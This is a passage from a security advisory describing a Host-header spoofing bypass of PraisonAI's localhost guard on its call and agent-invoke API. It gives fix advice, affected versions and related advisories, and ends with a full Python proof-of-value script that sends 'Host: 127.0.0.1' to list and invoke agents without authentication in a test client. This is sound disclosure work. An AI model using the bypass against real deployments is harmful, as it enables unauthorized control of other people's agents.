Details
Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.
Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.
Affected Package/Versions
Affected package: praisonai on PyPI.
Confirmed affected:
v4.6.62at2a855c470077c7d2e2479a575f7ef7f548d51c33- current main at
846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting4.6.62
v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.
Fixed version: unknown.
Advisory History
I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:
GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion whenCALL_SERVER_TOKENis unset in older releases. Current code fails closed when no token is configured; this report requires the patchedPRAISONAI_CALL_AUTH=disabledlocalhost guard and a spoofed Host header.GHSA-8ccj-p46r-jwqq:PRAISONAI_CALL_AUTH=disabledunconditionally disabled authentication in older releases and is listed as patched in>= 4.6.61. This report showsv4.6.62and current main are still bypassable through the new guard because the guard trustsrequest.url.hostname.GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools throughpraisonaiagents.mcp.ToolsMCPServer.run_sse(),/sse, and/messages/. That advisory affectspraisonaiagents >= 0.6.0, < 1.6.58andpraisonai >= 3.10.0, < 4.6.58, with patches listed aspraisonaiagents >= 1.6.59andpraisonai >= 4.6.59. This report targets a different package call path inpraisonai.api.agent_invoke.verify_token()and/api/v1/agents/{agent_id}/invoke, confirmed inpraisonai v4.6.62and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requiresPRAISONAI_CALL_AUTH=disabledon the call/n8n agent API and bypasses its localhost-only opt-out guard withHost: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.GHSA-x8cv-xmq7-p8xp:AgentTeam.launch()unauthenticated API. That advisory coverspraisonaiagentsAgentTeam.launch()routes, notpraisonai.api.agent_invoke.verify_token().GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.
No advisory I found describes Host-header spoofing against the patched PRAISONAI_CALL_AUTH=disabled localhost guard in praisonai.api.agent_invoke.
References
src/praisonai/praisonai/api/agent_invoke.pysrc/praisonai/praisonai/cli/features/serve.pyGHSA-86qc-r5v2-v6x6: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6GHSA-8ccj-p46r-jwqq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqqGHSA-vmf9-xx9w-86wx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wxGHSA-x8cv-xmq7-p8xp: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xpGHSA-5qw8-f2g9-ff29: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29
Appendix A - Full PoV Script
#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""
from __future__ import annotations
import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any
def _repo_root() -> Path:
if len(sys.argv) == 2:
return Path(sys.argv[1]).resolve()
return Path.cwd().resolve()
def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
os.environ.pop("CALL_SERVER_TOKEN", None)
if auth_disabled:
os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
else:
os.environ.pop("PRAISONAI_CALL_AUTH", None)
package_root = repo_root / "src" / "praisonai"
if not package_root.exists():
raise SystemExit(f"missing PraisonAI package root: {package_root}")
package_root_s = str(package_root)
if package_root_s not in sys.path:
sys.path.insert(0, package_root_s)
import praisonai.api.agent_invoke as agent_invoke
agent_invoke = importlib.reload(agent_invoke)
agent_invoke._agent_registry.clear()
return agent_invoke
class StubAgent:
def __init__(self) -> None:
self.calls: list[str] = []
def start(self, message: str) -> str:
self.calls.append(message)
return f"stub-agent-ran:{message}"
def _make_client(agent_invoke: Any):
from fastapi import FastAPI
from fastapi.testclient import TestClient
app = FastAPI()
app.include_router(agent_invoke.router)
return TestClient(app, base_url="http://external.example")
def main() -> int:
repo_root = _repo_root()
fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
fail_closed_client = _make_client(fail_closed_mod)
fail_closed = fail_closed_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
agent = StubAgent()
disabled_mod.register_agent("pov-agent", agent)
disabled_client = _make_client(disabled_mod)
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
result = {
"repo_head": _git(repo_root, "rev-parse", "HEAD"),
"fail_closed_without_token_status": fail_closed.status_code,
"disabled_auth_external_host_status": external_host.status_code,
"disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
"disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
"spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
"stub_agent_calls": agent.calls,
}
expected = (
fail_closed.status_code == 503
and external_host.status_code == 503
and spoofed_localhost_list.status_code == 200
and spoofed_localhost_invoke.status_code == 200
and agent.calls == ["host-header-bypass"]
)
result["vulnerable"] = expected
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if expected else 1
def _safe_json(response: Any) -> Any:
try:
return response.json()
except Exception:
return response.text
def _git(repo_root: Path, *args: str) -> str:
import subprocess
return subprocess.check_output(
["git", "-C", str(repo_root), *args],
text=True,
stderr=subprocess.DEVNULL,
).strip()
if __name__ == "__main__":
raise SystemExit(main())